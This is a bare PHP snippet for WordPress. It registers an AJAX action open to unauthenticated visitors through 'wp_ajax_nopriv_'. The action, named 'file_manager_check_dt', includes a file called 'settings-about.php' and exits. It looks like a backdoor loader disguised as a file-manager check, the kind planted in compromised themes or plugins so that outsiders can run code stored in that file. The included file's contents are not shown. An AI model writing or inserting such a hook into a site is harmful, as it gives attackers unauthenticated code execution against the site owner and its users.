if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<br />
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